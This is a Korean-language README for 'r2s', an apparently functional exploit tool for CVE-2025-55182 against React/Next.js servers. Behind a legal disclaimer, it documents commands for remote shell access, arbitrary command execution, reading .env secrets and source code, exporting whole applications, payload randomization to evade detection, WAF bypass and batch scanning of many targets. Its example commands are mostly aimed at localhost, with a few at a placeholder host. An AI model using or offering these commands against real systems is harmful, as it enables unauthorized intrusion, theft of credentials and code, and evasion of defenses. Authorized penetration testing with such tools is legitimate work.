---

## ⚠️ 법적 고지

**중요: 이 도구를 사용하기 전에 반드시 읽으십시오**

1. **이 도구는 합법적인 보안 테스트용으로만 사용하십시오**
   - ✅ 자신의 애플리케이션 테스트
   - ✅ 서면 허가를 받은 애플리케이션 테스트
   - ✅ 교육 목적 및 보안 연구
   - ❌ **소유하지 않거나 테스트 허가가 없는 시스템에 절대 사용하지 마십시오**
   - ❌ **악의적인 목적으로 절대 사용하지 마십시오**

2. **이 도구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:**
   - 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용할 것
   - 무단 접근이 불법임을 이해할 것
   - 자신의 행동에 대한 전적인 책임을 질 것
   - 저자는 이 도구의 오용에 대해 책임을 지지 않습니다

3. **법적 결과:**
   - 대부분의 국가에서 컴퓨터 시스템 무단 접근은 범죄입니다
   - 형사 고발, 벌금, 구금될 수 있습니다
   - 테스트 전에 항상 서면 허가를 받으십시오

4. **이 도구는 어떠한 종류의 보증 없이 "있는 그대로(AS IS)" 제공됩니다**

**만 18세 미만인 경우, 이 도구를 사용하기 전에 성인의 감독 및 허가를 받으십시오.**

---

## ✨ 기능

### 핵심 기능
- 🔍 **취약점 탐지** - 서버가 CVE-2025-55182에 취약한지 신속하게 테스트
- 💻 **대화형 셸** - HTTPS를 통한 완전한 대화형 셸 세션, 명령 기록 지원
- 📁 **파일 작업** - 디렉터리 목록, 파일 읽기, 파일/아카이브 내보내기
- 🔐 **비밀 정보 추출** - 애플리케이션 비밀 정보(.env 파일, 설정 파일) 읽기 시도
- 📄 **코드 추출** - 애플리케이션 소스 코드 읽기 시도
- 🖥️ **시스템 정보** - OS 정보, 호스트명, 사용자, 환경 변수 수집

### 고급 기능
- 🚀 **페이로드 자동 워밍** - 최상의 결과를 위해 페이로드를 자동 최적화
- ⚡ **병렬 실행** - 여러 명령을 동시에 실행
- 🎲 **페이로드 무작위화** - 동적 페이로드로 탐지 회피
- 🛠️ **익스플로잇 모듈** - Metasploit 스타일 모듈 시스템 (env_dump, file_search, network_scan, process_list)
- 🔄 **리디렉션 처리** - HTTP 리디렉션(301, 302, 303, 307, 308) 자동 추적
- 🎨 **아름다운 UI** - 읽기 쉬운 색상 코드 출력
- 📊 **포괄적 보고** - 작업별 포맷터를 사용해 JSON, HTML, TXT 형식으로 보고서 자동 저장
- ⚙️ **설정 시스템** - JSON 기반 설정 및 대화형 설정 패널
- 📦 **내보내기 기능** - 단일 파일 또는 전체 앱 디렉터리를 zip 아카이브로 내보내기
- 🔒 **WAF 우회** - 다양한 우회 기법 (⚠️ 보장되지 않음 - 아래 제한 사항 참고)

### 보고 및 로깅
- 📝 **자동 저장 보고서** - 사람이 읽을 수 있는 타임스탬프와 함께 `~/.r2s/reports/`에 보고서 자동 저장
- 📋 **작업별 형식** - 작업(셸, 테스트, 비밀 정보 등)에 따라 다양한 보고서 형식
- 📜 **명령 기록** - `~/.r2s/history`에 저장되는 영구 명령 기록
- 🔍 **감사 추적** - `~/.r2s/logs/audit.log`에 모든 작업의 상세 로깅
- 🎨 **HTML 보고서** - 다크/라이트 모드, 복사 버튼, 코드 블록을 지원하는 아름다운 HTML 보고서

---

## 📦 설치

### 옵션 1: 소스에서 빌드 (권장)

1. **저장소를 클론합니다:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---
## 🚀 빠른 시작

### 기본 취약점 테스트```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### 로컬 테스트

취약한 앱을 로컬에서 실행하는 방법은 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/main/nextjs/README.md)를 참조하세요.

---

## 📚 사용 예제

### 빠른 명령어 참조

**가장 일반적인 명령어:**
- `r2s -u URL -t` - 취약점 테스트 (가장 일반적)
- `r2s -u URL --shell` - 대화형 셸 시작
- `r2s --targets FILE -t` - 여러 대상 일괄 스캔
- `r2s -u URL --system-info` - 시스템 정보 확인
- `r2s -u URL --secrets` - 비밀 읽기 시도
- `r2s -u URL --export-archive` - 전체 앱을 zip으로 내보내기

**⚠️ 참고**: 대상이 Windows가 아닌 경우 `--windows`를 사용하지 마세요!

---

### 기본 작업```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### 악용 모듈```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### 비밀 및 코드 추출```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### 고급 옵션```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### 로깅 & 감사```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### 보고```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. 보안 감사```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

자세한 지침은 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/main/nextjs/README.md)를 참조하세요.

---

## 🏗️ 아키텍처

R2S는 유지보수성과 확장성을 위해 모듈식 아키텍처를 사용합니다:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "연결 오류"
- 서버가 실행 중인지 확인하세요
- URL이 올바른지 확인하세요
- 방화벽 설정을 확인하세요
- 타임아웃을 늘려보세요: `--timeout 30`

### "요청 차단"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### WAF 우회 제한사항

**⚠️ 중요:** 이 도구의 WAF 우회 기술은 작동이 **보장되지 않으며** 여러 제한사항이 있습니다:

- **보편적이지 않음**: 각기 다른 WAF는 서로 다른 탐지 방법을 사용합니다. 하나에 적용되는 방법이 다른 WAF에는 적용되지 않을 수 있습니다.
- **정적 탐지**: 일부 WAF는 우회 가능한 정적 패턴 매칭을 사용하지만, 최신 WAF는 행동 분석을 사용합니다.
- **속도 제한**: 많은 WAF가 반복 시도를 차단할 수 있는 속도 제한을 구현합니다.
- **머신러닝**: 고급 WAF는 공격 패턴에 적응하고 학습하는 ML 모델을 사용합니다.
- **Cloudflare/AWS WAF**: 엔터프라이즈급 WAF(Cloudflare, AWS WAF 등)는 우회하기가 매우 어렵습니다.
- **보장 없음**: 우회 기술은 실험적이며 잘 구성된 WAF에 대해서는 실패할 수 있습니다.

**모범 사례:**
- WAF 우회는 최후의 수단으로 사용하세요
- 다른 헤더 전략(`--header-strategy`)을 시도하세요
- 더 나은 결과를 위해 `--randomize`를 결합하세요
- 일부 대상은 우회가 불가능할 수 있음을 이해하세요
- 항상 소유하거나 테스트 허가를 받은 시스템에서만 테스트하세요

### 빌드 문제```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

다음 항목이 제거됩니다:  
- `build/` 디렉터리 (PyInstaller 빌드 파일)  
- `dist/` 디렉터리 (컴파일된 바이너리)  
- `__pycache__/` 디렉터리 (Python 캐시, 재귀적으로)  
- `*.pyc` 파일 (컴파일된 Python 바이트코드)  
- `*.pyo` 파일 (최적화된 Python 바이트코드)  
- `*.spec` 파일 (PyInstaller 스펙 파일)  

**참고:** 이 작업은 빌드 산출물만 제거하며, 소스 코드는 제거되지 않습니다. 정리는 안전하며 진행 전에 확인을 요청합니다.  

---

## 📁 파일 구조```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation